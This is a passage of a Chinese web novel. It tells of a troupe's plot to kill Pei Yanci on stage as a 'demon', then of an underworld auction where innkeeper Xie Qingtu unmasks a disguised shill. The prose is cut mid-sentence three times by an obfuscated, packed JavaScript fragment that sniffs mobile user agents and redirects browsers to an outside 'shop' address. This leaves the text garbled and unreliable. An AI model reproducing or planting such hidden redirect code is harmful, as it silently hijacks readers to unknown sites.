戏班好容易走上正轨，好日子还没过上多久。裴宴辞为此出了不少力，要说撵走这台柱子，任是谁也割舍不了。 柳子双眼空洞，目光落至榻间成婚用的红色被褥上，那是隼儿一针一线缝的，当初裴宴辞也搭了把手。 他还真是个妙人，不过无亲无故的孤儿，怎的什么都会，怪不得娘亲喜欢他。 还有那对搁在床头的压床娃娃，满屋喜气，落到他眼底，却蒙上了一层暗色。 若是娘还在就好了，娘在的话，她会怎么做呢？ 柳子也不晓得。 柳荃惯常替他打点好所有事，他想不出对方究竟会怎么做。 她会包庇裴宴辞么？ 那股压抑许久的不忿又涌了上来：“你说，我娘为何会死呢，是被裴宴辞克死的么？” “柳子，莫要想太多，人各有命。”铁皮听他语气不对，忙宽慰道，“柳娘自幼摆弄药粉，烟杆子又不离手，这也是没办法的事。” 柳子的嗓音哑得像裹了沙砾：“我想了想，不成，只赶走他还是不成。谁不晓得他是柳氏戏班的人，咱们藏了他这么多年，若是官府问罪，班子的人一个也跑不了。” 铁皮坐不住了：“那该如何是好，咱们就摆脱不了这私藏妖物的罪名了么？” 柳子眼底迸出阴鸷的光，他拽着对方坐下，俯身凑近：“明日你…” 铁皮听着，脸色愈发苍白。 柳子低声说了一阵，而后眼珠轻轻往侧边滑去，当即噤声。 大红灯笼映着窗棂，雕花栏杆间的油纸上，纤细人影逐渐隐去。 铁皮心里一紧，循他目光望去时，那人已经没影了：“怎，怎的了？” “无事。” 柳子回神，声音放得更低，几乎等同于耳语。末了，铁皮一张脸已是白得像纸：“不行！” “戏班是娘的毕生心血，我不能让它因一人毁于一旦。”柳子面无表情。 不是的，铁皮暗道，倘若是柳荃的话，她不会这么干。 柳子同柳荃有八分像，班子的人都说，这娘俩好似一个模子刻的。他从前也这般想，到了现在，他意识到二人其实一点也不像。 “这便是你想出的法子？”铁皮起身，盯着他的眸光中满含难以承受的暗光，“柳子，我铁皮也算是瞧着你长大的。你和我说实话，之所以这么说，可是因着你对柳娘的死心有芥蒂，认为这是裴宴辞的过错？” 柳子没有回应，像是默认了。 “你…” “铁皮，人都是有私心的。”柳子打断他，“你以为裴宴辞为何留在戏班，他也不想的，还不是因为娘的私心。” “你我也有私心，我就不说了，裴宴辞毕竟是我娘领来的，现下她不在了，有什么事，我心甘情愿受着。”他的语气染上诱哄的意味，“可班子的其他伙计呢，隼儿呢，她尚在襁褓时，你便好生照料着，你忍心让她被连累么？” 铁皮嘴唇翕动，像被掐住喉咙似的，一个字也吐不出来。 半晌，他失魂落魄道：“好，好，那便按你说的。” 等再也听不见铁皮离去的脚步声，柳子靠在木椅上，叹息。 “隼儿，莫要怨我，我也是身不由己。” - 刷锅洗碗后，裴宴辞裹紧外袍回屋，这年冬日尤为得冷，刺骨寒风漏进廊下，刮得他脑仁生疼，鼻腔里泄出的气儿都是奶白色的。 上元佳节在即，他得拣个时间去买些糯米和芝麻，好给大伙包浮圆子。 晚饭时，隼儿，还有铁皮以身体不舒服为由，饭桌上人影都没见着。怪的是柳子竟也没来，分明是他提出要吃锅子的，自己却不曾露面。 连着三人都不舒服，许是染了风寒，裴宴辞想着等明日下了戏台，得熬些姜汤才好。 其余伙计倒是吃得尽兴，将他原本打算复用的汤底都捞了个空。 裴宴辞一头扎进宅子里，走道未点灯，隔着浓密的黑暗，他隐约瞧见自己房门口有道人影。 “隼儿，这么晚了，在等我么？” 裴宴辞走近，见隼儿眼眶泛红，好似哭过。 “怎的了，同柳子拌嘴了？” 听他提起柳子，隼儿面上又白了几分：“没，没有。” 裴宴辞只当时是大婚之日在即，她下意识地有些焦虑，对方还没用过晚饭，肚子许是饿了：“你且等着，我去给你煮些吃食，咱们边吃边说罢。” “裴哥。”隼儿却拉住他的胳膊，急道，“明日你千万莫要…” “隼儿。” 柳子的声音自走道端头响起，惊得隼儿浑身一抖，他走近，面颊隐于晦暗之中，叫裴宴辞瞧不真切。 “回屋罢。”他揽住未婚妻，语气低柔，“莫要打搅宴辞歇息。” “可…”隼儿还想说些什么，却对上他阴郁的目光，旋即硬生生止住了话头。 裴宴辞见此，莫名感到不对劲，至于是哪里不对，他也说不上来。 “有什么话，之后再说罢。”柳子束紧胳膊，下巴搁在隼儿发顶上，亲昵地蹭了蹭，全然是副浓情蜜意的模样，瞧得他不禁面红，“宴辞，早些歇息，明日还有戏。” 说罢，他搂着隼儿回屋，木门合上，挡住那道黏在裴宴辞面上的，惶然的眸光。 …… 裴宴辞熄灯，躺在榻上，日子正往好的方向去，连着他的癔症也轻了不少，他不再点灯入眠，亦未曾再出现过幻觉。 隼儿先前古怪的表现，就像一枚落在心头水珠，不消多时便被吸收了。 身边之人，没有谁再遭遇不幸，甚好。柳荃的夙愿，他替她达成了。 今后也如这般就好了。 困倦袭来，他合上双眼。 时日还长，至于隼儿未说出口的话，便明日再问她罢。 结果临上戏台，他都没再见到隼儿。 问过柳子，对方只撂下一声她病了，便匆忙离去。 病了？ “小子。” 裴宴辞正呆立在原地，铁皮唤他：“傻愣着做甚，你等会同我一道上台。” “为何，阿石呢？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165393|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 胸口碎大石须得二人同台，阿石是同铁皮搭戏的那伙计，始终未曾换过。 “他啊…你也晓得，隼儿病了，柳子这头离不得人，便让他去照料着。”铁皮笑了，他的笑意有些扭曲，唇角上扬的弧度好似掺杂着不忍。 是错觉么？ 裴宴辞深吸口气：“到时石板搁在胸口就好了罢？你得当心着点，砸偏了我可遭不住。” “不。” 铁皮：“你待会将石板抵在头上，人们都厌倦了胸口碎大石的戏码，这回给他们来点新花样，脑壳碎大石。” 裴宴辞犹豫了。 “你还信不过哥哥我啊？”铁皮一拍他脊背，放声大笑，那笑声像是要掩盖住旁的什么，“你想想阿石，这么多年，我可有伤过他些许皮毛？你就将心放肚子里罢，就这一回。” 恰好上出戏也落幕了，他拎起石板塞进对方怀里：“咱们走罢，你那细胳膊细腿的可得抵住，莫要撑歪了。” 裴宴辞无法，只得抱着石板同他上台。 鼓噪声潮水般，一浪盖过一浪，催命符似的。 他不似阿石那般有劲，蹲在台上憋得浑身是汗，堪堪吃力撑住石板，生怕歪了，锤子就会砸到自己头上。 “裴哥——” 台下倏然爆发一声惊呼，一道纤细身影挤过人潮，往这边来。柳子胳膊捆住隼儿，焦急道：“隼儿，莫要过去。” 阿石跟在后头，脑门上尽是汗。 隼儿？ 裴宴辞愣怔地望着，她怎的来了。 “你放开我！”隼儿死命挣扎，朝他呐喊：“裴哥，莫听他们胡言，你快下台！” 她面上尽是泪痕，素白的脸颊早已花容失色。柳子一下疏忽，叫她猛地挣脱开，隼儿脚步趔趄，没站住，扑倒在地。 “你倒是下来啊…” 怎么回事？ 裴宴辞意识到不对，他想撂下石板，却惊觉胳膊动不了了。支撑太久，肌肉已然僵硬，他慌了神，饶是如何使劲，亦不能挪动分毫。 糟了。 柳子扶起隼儿，面色阴沉地同阿石说：“将她送回宅子。” 铁皮只装作没瞧见，他一杵大锤，吆喝到：“今日我柳氏戏班，就要当着诸位的面，斩除这妖物。” 妖物？ 裴宴辞彻底傻了，他在说什么，哪来的妖物？ 莫非…指的是自己？ 这念头一出，蓦地一股巨力砸在石板上，砰的一声，石板断成两截。刺耳的叫好声中，他又听见声脆响响彻周身。 随后裴宴辞意识到那是他颅骨碎裂的声音。 为什么。 他又做错了什么，为何铁皮要杀他？ 他分明不是妖物。 温热液体淌进眼皮缝隙里，裴宴辞像是沉入深海，喘不上气，就要溺亡了。意识消弭之际，他隐约听见隼儿的哭嚎。 “裴哥…” “裴哥——” “裴宴辞。” “裴宴辞。”谢轻荼眸光浅淡地望着他，“在想什么？” 裴宴辞回神，不着痕迹地深吸口气，意识叫她拽回岸上，好似被捞起的溺水者。那些个狰狞嘴脸的泡影逐渐褪却，眼底只余谢轻荼的脸。 波动的心弦很妥帖地被抚平了。 “没什么。”他垂下脑袋，隐去泛红的眼眶。 过往云烟有多虚妄，身边这人就有多真实。裴宴辞遗憾地想，谢轻荼当真不认得他。 而后新的疑惑又浮现心头，当初范离原引他离开得匆忙，他只大致瞥了眼身体所在的地方，是间房间，但并不属于戏班子盘下的宅院。 他尚未断气，柳子定是不会大发慈悲到替他寻个安稳地方休养的，没将他一把火烧了就不错了。 会是隼儿做的么。 他的身体，现下又在何处？ 17. 八荒奇珍会·馄饨 翌日。 谢轻荼下楼时，裴宴辞和柏玲正嘀嘀咕咕说些什么，踏雪照例窝在柜台上打瞌睡。 “谢掌柜，你起了。”柏玲朝她笑，“早饭给你温在灶上呢，裴小哥包了馄饨。” 馄饨皮是裴宴辞亲手擀的，薄薄一层，透着内里的肉馅。谢轻荼尝了一枚，肉馅鲜嫩，一点不柴。 一碗下肚，她掐指算算日子，也该到那个的时候了。 “这该如何是好。”裴宴辞同柏玲哀叹，“客人总抱怨茶水没滋没味，客栈里食材单调，除了茶叶还是茶叶，我去何处搞旁的饮品？” 那些茶叶也算上古遗留物了，不知是谢轻荼哪年买的，估摸着年岁比他还大。 “红豆汤如何？” “也煮过，都说不解腻。而且六味煲本就是极易饱腹之物，又塞碗豆子下肚，任谁都不乐意喝。” 柏玲问道：“谢掌柜酿的碧落清酿呢？” “这…”裴宴辞支支吾吾的，抬眸暗自瞄了谢轻荼一眼。 恰逢踏雪醒了，抖了抖毛，笑道：“客人嫌她酿的酒难喝。” 它可不似裴宴辞那般会留情面，后者闻言耳根子隐隐泛红，倒是替它尴尬起来。 谢轻荼云淡风轻地呷了一口热茶，没听见似的。 裴宴辞轻咳一声，打算揭过这章：“倘若有新鲜水果便好了，榨些果汁，或是果茶，亦是不错的。” “很难。”柏玲无奈，“连那皇帝老儿想吃水果，都得车马千里迢迢送去。何况水果极易腐烂，哪怕谢掌柜去人间采买，也放不了多久。” “也是。”裴宴辞叹气。 踏雪见谢轻荼起身，摇了摇尾巴：“去哪？” “望泉客栈。” “去望泉客栈做甚？”那碧绿猫眼滴溜溜地转了一番，像是反应过来似的，哦了一声，“你有钱么就去，咱们客栈好不容易有点进账，这么多人等着发工钱，你可别一下挥霍没了。” “晓得，我就去瞧瞧。”谢轻荼又叮嘱道，“柏玲，我不在的时候，记得迎客。” “诶。” 甫一出门，裴宴辞小跑过来，轻声唤住她：“谢掌柜。” 他斟酌着开口：“如若你之后见到范大人，可否替我打听，我的身体现下在何处？” 昨夜忆起过往，他反倒是睡了个安稳觉，精气神饱满，一早便下楼包馄饨。许是他已远离人间，又或是叫谢轻荼安定了心神，往昔之事，已然恍如隔世。 尽管对方什么也没做，只立于河岸边，安静地伴着他。 “倒不用特地去问。”对着谢轻荼那张寡淡的脸，他像怕麻烦对方似的，连连摆手，颇有些拘谨，“虽说我不能离开狭间，但晓得身体在哪，总归能安心些。当初走得急，我也没来得及问她。” 他觑了眼谢轻荼的面色：“麻烦的话，就算了。” “好。”谢轻荼应下。 之后得再去趟范离原府上了，其实她心里也没底，不知道对方愿不愿意告诉她。 裴宴辞松了口气：“多谢。” 渡船得停在无言客栈这头，以防柏玲之后要用。谢轻荼干脆施展轻功，足尖踏着水面而去。 “嚯，轻功水上漂。”柏玲端着几份馄饨，正欲渡舟去迎客，见此，不免惊叹，“仙鹤似的，等谢掌柜得空，我定要央她抱我在狭间飘一圈再去投胎。” 什么和什么啊。 裴宴辞啼笑皆非。 “那我也要。” 正午时分，正是阴气最重之时，亡魂由鬼差引着，簇拥在狭间入口。望泉客栈的朱红屋檐没入上方灰雾之中，飞阁流丹，饶是太山府也及不上这般富丽堂皇，一目为其可是花了大价钱。 门口迎客的小厮并非先前那位，他卯足了劲，朝乌泱泱的人群吆喝道：“各位，今日也是赶巧，都来咱们望泉客栈瞧瞧这五十年一度的八荒奇珍会罢。” 亡魂们听着新鲜，有人问他：“八荒奇珍会是什么玩意？” “您有所不知，这八荒奇珍会便是拍卖会，拍卖的物什，并非人间寻常古玩，那些东西在狭间可值不得几个子。”小厮眉飞色舞，“游历于天地人三界的云游商人，隔五十年便会抵达地府，拍卖在天界与人界寻得的奇珍，其中不乏有些能用于下一世的好玩意。” 那人咽了口唾沫：“例如？” “命格啊，我给您透个底，今日会上可是有皇子命格的。天潢贵胄，金枝玉叶。若非我投不了胎，即便借钱，也要将其拍下。” “起拍价多少？” “这个嘛…”小厮哪敢说啊，生怕将客人吓走了，他稳住心神，满脸堆笑，“您到时便知。” “倘若没有心仪的物件，也不打紧。今年这八荒奇珍会恰好开在咱们望泉客栈，掌柜的说了，今日住店之人，吃食免费，权当讨个彩头。” 吃食免费？ 众人听言，心道有便宜不占王八蛋么这不是，便一同涌入客栈。 小厮乐不可支，眯成条缝的双眼蓦地瞥见在一旁听了许久的谢轻荼，而后面色僵住，脚底抹了油似的，就要往客栈里钻。 “客人来了，你撒腿就跑，一目掌柜是这般交代你的么？” 谢轻荼好整以暇地望着他。 “谢掌柜，您这是说的什么话。”小厮脚底生根，讪笑道，“小人哪里迎得起您这等贵客，得让一目掌柜招待您才是。” “客就是客，还分贵贱么，我倒是头回听闻。” 小厮汗都下来了，走也不是，停也不是，就这么不尴不尬地杵着。 他全然是授了一目的意，谢轻荼自然晓得这点，不过是个讨口饭吃的伙计，她也不愿过多为难对方：“去唤他罢。” 不消多时，一目便走出望泉客栈。他面上映着大红灯笼喜庆的光，独眼里是遮不住的快活：“谢掌柜，有失远迎，有失远迎啊。我那伙计不懂事，还望你多担待，莫要同小辈计较。” 他全然一副小人得势的嘴脸：“谢掌柜今日莅临我这小小客栈，请问有何贵干？” 还不到谢轻荼说话，他佯装惊讶：“该不会是想来瞧瞧八荒奇珍会罢，谢掌柜可有请帖？” 谢轻荼语气微凉，周身鬼气森森：“八荒奇珍会办了上百回，我倒未曾听闻得有请帖方可入内的规矩。” “今年的规矩。”一目笑呵呵的。 “先前那些客人，他们也有请帖么？” 一目：“……” “在下也得做生意不是？你指望那群亡魂兜里能有几个子啊，都是来吃白食的，到时打发几个犄角旮旯给他们瞧瞧热闹得了。”他压低声音，“地府的大人们前些日子都命人来我这领过请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165394|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帖了，谢掌柜许是去人间时错过了。望泉客栈就这么大，座位也就那么多，还是莫要为难在下了。” “你也晓得，五十年一度的八荒奇珍会，府君大人很是重视，出不得差错。” 连府君的名讳都叫他搬出，这是铁了心不让谢轻荼入内。 说罢，一目又不动声色地后退一瞬，生怕她心里不痛快，一掌打得自己魂飞魄散。 “在下还要张罗些琐事，便不送了。” 正欲离开，身后却响起一道轻柔的人声。 “我都不晓得，一目掌柜何时同府君这般要好了，三番五次说起他。” 一目听这声音，暗道不好，生生止住脚步，僵硬地转动脖颈，望向那从容靠近的黑衫鬼差：“范大人。” 若说谢轻荼瞧着不近人情，内里却是怀有怜悯之心，那范离原可谓恰恰相反。明面上不过一温温柔柔的女子，但凡发起狠，连府君都及不上她。 一目倒没亲眼见过她大为光火的样子，只听闻谢轻荼前些日子挨了她一掌狠的，这被深深掩埋的内里，许是只会揭示给亲近之人。 既是这般性子，又是府君跟前当红的鬼差，谁敢招惹。 谢轻荼：“离原。” 范离原瞥她一眼，又转回目光，朝一目晃晃指间的烫金纹请帖：“一人一帖？” “哪能啊。”那独眼掌柜连忙陪笑，“也就是走个过场，范大人既有请帖，捎上亲朋好友自然是可以的。” 面上笑着，心底里却恨不得给谢轻荼和范离原身上捅几个窟窿，他一躬身子：“二位，里边请。” 望泉客栈内部装潢亦是奢华，她们行过凿着雕花窗的回廊，还未走到尽头，便听前方一阵喧闹。 前堂满是人，皆是熟面孔，一目领她们在槐木椅上落座，又唤小厮沏一壶热茶，末了匆匆告退。 上好的大红袍，沁人心脾，并非她那陈年茶叶能与之比拟的。谢轻荼搁下茶盏，转向身旁的范离原：“离原，你来八荒奇珍会，可是有想拍下的物什？” 八荒奇珍会尚未开场，范离原望着前头临时搭起的台子：“随便瞧瞧。” 想起裴宴辞的嘱托，谢轻荼生硬地将话头拉到正题上：“裴宴辞的身体，现下在何处？” “问这做甚？”范离原瞪她。 “好歹是我客栈的厨子，总得知根知底罢。” “你对他还不够知根知底么？”范离原嗓音大了些，引得几人回头望来，见谢轻荼低垂着眼皮，她放轻声音，“在逢春医馆。” “…逢春医馆是哪？” 范离原柔和的笑声里好似隐了冰碴子：“自己寻去呗。” 谢轻荼：“……” 好罢，她就晓得没这么容易。 攻不了心，那便攻胃。 “上回那六味煲，可还好吃？” “腻味。” 谢轻荼耐着性子又问：“那你觉得，我酿的碧落清酿好喝么？” “尚可。” “……” 谢轻荼：“千年时光，可是磨损了你的味觉？” 范离原咬牙：“让我安静会。” 话是堵死了，谢轻荼百无聊赖，眸光无意间落到坐在她右前方那盘发女子身上。恰逢对方也回头瞧她，二人眼神交织片刻，那女子忽然对她笑了一下。 18. 八荒奇珍会·仙桃 那人鹤发盘起，面颊却如同豆蔻年华的姑娘，一双眸子亮堂堂的，衣襟绣着专属于地府官差的彼岸花纹样。 “魏姨？”谢轻荼轻声道，“她竟也来了，还以为判官殿会很忙呢。” 判官司掌生死轮回，一年到头忙得手不离笔，批过呈上的生死簿，再交予十殿阎罗过目。六道轮回中，或得道成仙入天道，或咎有因得入饿鬼道，亡魂的命途，皆由判官殿清算赏罚赏善司魏兆说了算。 范离原朝那女子颔首：“忘了同你说，那几位就要退休了。” “何况魏姨惯常是爱凑热闹的性子，等八荒奇珍会终了，你与我去同她打声招呼罢。” 前堂座无虚席，茶水都斟过好几回了，云游商人四宝方从里屋出来。她走上台子，手里空无一物，腰间锦囊晃荡。 在座各位都对八荒奇珍会再熟悉不过，她未过多赘述冗长的致辞，只变戏法似的从锦囊中掏出一晶莹剔透的物件，搁在面前的小翘头案上。 那物件造型奇诡，龙头鱼身，嘴部大张，凶神恶煞。谢轻荼瞧出那是座螭吻玉雕，算不上什么稀罕物件，作为今日头一件拍品，权当是开胃菜。 “螭吻白玉雕，十万冥币起拍。” 台下有人问道：“若只作观赏用途，这起拍价怕是不合理罢。雕工也甚是粗糙，这玉疙瘩买回去，又有何用？” “自有大用。”四宝脸不红心不跳，她指尖一戳那螭吻怒睁的眼珠，伴着咔哒一声，似是唤醒某种机关，然后… 玉雕嘴中迸出一股清水。 谢轻荼：“……” 八荒奇珍会上拍品鱼目混珠，其中不乏赝品，很是磨练台下之人的双眼。但假得似这般的，她也是头回见到。 众人心照不宣，正当他们以为这白玉雕就要流拍时，有人抬手：“十万。” 是魏姨。 范离原咂舌：“退休金没地儿花是这样的。” 魏兆面上挂着势在必得的笑，她身侧的同伴一下没拦住，气急：“买这做甚？嫌钱太多，不如给我。” 好歹是地府有头有脸的人物，若在八荒奇珍会上闹笑话，岂不是丢了整个判官殿的脸。 魏兆不管那些，靠在槐木椅上：“浇花。” 四宝笑眯眯的：“十万，一次。” 同伴叹道：“天呐。” 自然是无人同她争的，四宝报价三回后，最终敲定了螭吻玉雕的新主人。一目给自己寻了个靠近台子的座位，亦是乐得合不拢嘴，八荒奇珍会开在望泉客栈，他作为东家，也能从四宝那分得不少钱。 几轮竞拍后，今日的重头戏到了。四宝又从锦囊里掏出一物什，并未放于翘头案上，只小心地托在掌心。那东西没有实体，虚浮地飘着，由摇曳的几行黑字构成。 “皇子命格，这东西可了不得，所对应的并非不得宠嫔妃的子嗣，而是皇后的。诸位都晓得，当今那身着凤袍的皇后尚未诞下皇子，倘若投胎至她腹中，出生后即是太子，皇位的继承人。” 二楼回廊上围满了客人，一目果真给他们安顿在犄角旮旯，连个座都没有。闻言，他们抻起脖颈，想细瞧那黑字，有人甚至半边身子宕出栏杆，险些被挤下楼去。 四宝眼底透出狡黠：“起拍价一百万冥币。” 这下倒好，楼上本来一片嘈杂，现在都噤声了。探出栏杆的脑袋也一同缩回去，个个面色惨淡，好似被掐住喉咙的鸡。 冥币不等价于人间的钱币，就算亲人可劲烧纸，最终到亡魂手上的也没多少，何况钱庄还要从他们账上克扣大笔手续费。 这皇子命格是同他们无缘了，一世穷，世世穷。 不过客人中不乏有雍容华贵之人，谢轻荼前头的座位上倚着个金装玉裹的男子，拇指上一枚青玉扳指，一下一下地叩着扶手。他生前是某位王爷，光是陪葬品，就比楼上那群亡魂全部家当累加还要多，这位子也是先前往一目荷包里塞了不少冥币得来的。 他抬手：“一百五十万。” 一下就将起拍价抬高五十万，这是一点余地都不给他人留下。楼上又躁动了，低语声鄙夷而又艳羡：“这辈子还没过够皇亲国戚的瘾呢。” 王爷抚着扳指，胜券在握，他账上不少钱，拍下命格后仍有富余，还能再挑些旁的。思及此处，他呷一口微凉的茶水，气定神闲，杯盖撇去浮在上头的茶叶。 “一百六十万。” 咳。 他险些叫茶水呛住，压下喉间痒意，抬眸去瞧那半道杀出的拦路虎。只见一男子放下手，挑衅似的瞥他一眼，唇角勾起。 那男子瞧着面生，谢轻荼压低声音：“你认得那人么？” 范离原目光也在他脸上转圜一番：“不认得，不是地府的人，许是旁的鬼差引渡的亡魂罢。” 四宝一旋手腕，黑字在她指缝间流转：“一百六十万，一次。” 王爷回神，咬牙：“二百万。” “二百一十万。”那人紧随其后。 气氛焦灼。 生前贵为王爷，除了跪天子，他何时这般憋屈过。不过一普通得不能再普通的人，竟敢压自己一头。 “二百五十万。”他狠下心。 “二百六十万。” 十万十万地涨，膈应谁呢。王爷正欲再应价，却想到自己还有那么多钱吗，他不晓得八荒奇珍会的规矩是如何，若付不起钱，该不会罚他永世不得超生罢？ 这般想着，连带气势也弱了：“二百六十万…零一百。” 一百？ 楼上响起细密的嗤笑，四宝也笑：“这位爷，哪有这般应价的？” 王爷面上臊得慌，彻底蔫了。 “三百万。”有人抬手。 待见到那应价的是何人，满座倏然归于寂静。 那正是始终一言不发的范离原，众人傻眼，堂堂鬼差，要皇子命格做甚？ 谢轻荼皱眉：“你要去投胎？” “给我府上那小鬼的。”范离原拢了拢袖口，避开她目光。 那男子慌了神，迟迟未再应价，眼神不住地往一个方向瞟去。谢轻荼不动声色地沿着他目光，对上前头一目的后脑勺。 “三百万，三次。”四宝喜滋滋的敲定声中，范离原凑近，附在谢轻荼耳边道。 “那人不对劲，倘若之后有中意的拍品，记得沉住气，等几轮再上，莫要让他瞧出你的目的。” 下件拍品是一包种子，有点像小核桃。 “仙桃树种。”四宝晃晃袋子，“这是我自天界寻得的，为蟠桃改良品种，为了得到它，我可是向王母娘娘说了不少好话。与三千年一开花，三千年一结果的蟠桃不同，仙桃一旦种下，便能永无止尽地结果。即便是狭间贫瘠的土壤，亦能栽种，播种后一日内便可成熟。” “十万起拍。” 有螭吻玉雕在前，这起拍价倒显得合理了，恰好无言客栈须新鲜水果，仙桃树种也算是场及时雨了。谢轻荼想了想，打算先观望几轮。 “十万。”狭间一商贩抬手。 对于商贩来说，什么玉雕，皇子命格，皆是无用之物。唯有这能带来收入的仙桃树种，称得上是好东西。 几轮过后，价格抬到五十万。竞拍之人都是在狭间做小本生意的，冥币并不富裕，回回抬价都不过五万，那男子也掺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165395|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和了几脚。他倒是懂得见风使舵，待势头疲软，便出来添把柴，引得那些人个个火气上头，势必要争这口气。 尽管无言客栈过去几十年入不敷出，但谢轻荼好歹当了千年鬼差，私房钱还是有的。见时候差不多了，她开口道：“一百万。” 筹码足足翻了十倍，其他商贩面如死灰，无意再同她争了。那男子却打算死磕到底，想也不想：“一百五十万。” 他有些得意，而后… 无人再应价。 谢轻荼好整以暇地坐着，面上无甚表情，像是放弃了。 四宝：“一百五十万，一次。” 怎么会？ 男子大惊。 这和他预想的不同啊，谢轻荼这便放弃了？ “等等。”那男子面上白了几分，连茶盏都险些砸在地上，“我…” 他不自觉地望向一目，而后者阴鸷的目光牢牢地锁住了谢轻荼。谢轻荼偏头，二人眼神交织于空中，她轻轻勾起嘴角，笑意却并未落到眼底。 “这位公子，八荒奇珍会有规矩，应价了便不能反悔，你不晓得么？”四宝不满道。 “可是…”他哪有钱。 范离原转向好友，此时也反应过来：“你在给他下套。” 也是，谢轻荼这不见棺材不落泪的性子，又岂会轻易放弃。 谢轻荼之所以将价格一下抬到一百万，是为了佯装暴露自己迫切想要得到仙桃树种的意图。她将钩子抛给搅了大半场浑水的男子，晓得对方势必会应价，如她所料，那人咬钩了。 “一百五十万，两次。” “劳驾。”眼见那男子就要昏厥过去，谢轻荼打断四宝，“大伙也乏了，不如中场歇息片刻罢。” “这…”四宝虽不情愿，但还是卖了她这个面子，亦想瞧瞧这女子葫芦里究竟卖的什么药，“好罢，不过莫要耽搁太久，之后我还得去人间。” 谢轻荼起身，迎着众人探究的目光，朗言道：“一目掌柜，你作为八荒奇珍会的东家，玩这种把戏，怕是不厚道罢？” 魏兆愣住：“轻荼，这是何意？” “谢掌柜，你误会在下了。”一目叫她盯着，浑身好似泛起寒霜。他压下冒头的心悸，稳住声线，使自己瞧着甚是无辜，“在下自然晓得东家不得在会上竞拍的规矩，从开场到现在，我可有说过一句话？” “是么？”谢轻荼轻笑，“这位公子倒是盼着你同他多知会几句，眼睛都快粘你后脑勺上了。” 在场大多数人都是地府官差，活了上千年，和人精似的。谢轻荼说到这份上，他们岂会不明白她话里的意思，一时间满座哗然。 魏兆身侧的判官板着脸，沉声道：“一目掌柜，这位公子可是你的人？” “钟大人，冤枉啊。”一目连连叫冤，“我在此之前都没见过他，诸位大人中，不少人来我这泡过汤池，客栈里的伙计也同各位打过照面，有谁在望泉客栈见过这位公子么？” 闻言，地府官差们皆是摇头。 一目又朝那男子道：“这位公子，你说，你可认得我？” 那人咽了口唾沫：“不认得。” “是了。”一目恨恨地盯着谢轻荼，好似受了天大的委屈，“我猜啊，许是谢掌柜未拍得这仙桃树种，心底不痛快，污蔑我这作东家的命人胡乱抬价呢。” 钟大人拧紧眉心，一双黑沉沉的眸子也转向谢轻荼，正欲开口，身边魏兆扯住他袖口，低声道：“老钟，莫急，且听轻荼之后怎么说，我也认为此事有蹊跷。” “罢了，依你。”他一挥衣袖，轻哼道，“反正你那十万的浇花壶已是板上钉钉了。” 19. 八荒奇珍会·易容 谢轻荼没说话，她从杯盏中捻出几枚茶叶，碾干水分，手腕一旋。只听一道细微的破空声，泡软的茶叶叫她使得像暗器，径直打向那男子面上的穴位。 “啊。” 那人猝不及防，穴位处银光冒头，几枚银针倏然蹿出皮肉，叮铃咣啷落了一地。而后他的面皮似是融化的膏脂，五官也随之扭曲。 这番变故让众人皆都愣住了。 范离原沉声：“易容术？” 世间易容术多为倒模人脸塑造面皮，再覆于他人面上，不过亦有少许人掌握了以银针封穴的易容之术，这种方法更为稳妥且隐蔽。 那人蠕动的面颊趋于平静，已是另番样貌，众人瞧着面熟，他不正是那位从前在望泉客栈门口迎客的小厮么。 究竟是何人指示他的，如今也昭然若揭。 小厮慌了神，下意识望向一目：“掌柜的…” 不等宾客们发难，一目蹿到他身前，狠狠一巴掌抽断了他还未说出的话：“混账，谁让你这么干的？” 这一掌使出了十二分的力道，那小厮的脖子都叫他抽歪了，还欲说些什么，却听对方吼道：“滚蛋，望泉客栈今后没你这号人了！” 他面上青白交织，歪着脖颈离开了。 “各位大人，是在下管教无方。”一目转而又堆起笑脸，拱手作揖，那姿态要多谦卑便有多谦卑，全然不复先前抽人的模样，“我都不晓得那混账竟会使出此等阴招，我作为望泉客栈的掌柜，向诸位替他赔不是。” 听他的意思，是想撇清自己了，可如今谁还会买他的账。 钟大人嗓音裹了寒意：“这么说来，你倒是毫不知情了？他抬的价，可有不少会落入你的荷包啊。” “唉，也怪我不好，从前在他面前抱怨过汤池修葺的开支太大，他许是想替在下分忧罢，便自作主张了。”一目叹气，“过去我瞧他可怜，便收留此人在望泉客栈当小厮，我都不晓得他会这易容术，还是此等心术不正之人，是在下识人不善了，罪过，罪过。” 众人仍是面色不渝：“那我们的损失，谁来承担，他好歹是你客栈里的人。” 一目：“这…” 事态僵持不下，大有他不给个说法，就叫望泉客栈倒闭的架势。见此，谢轻荼施施然开口：“我记得八荒奇珍会有个不成文的规矩，若东家的人胡乱抬价，最终却未拍下珍品，须得压低一半起拍价，重新竞拍，还应对宾客施以赔偿。” 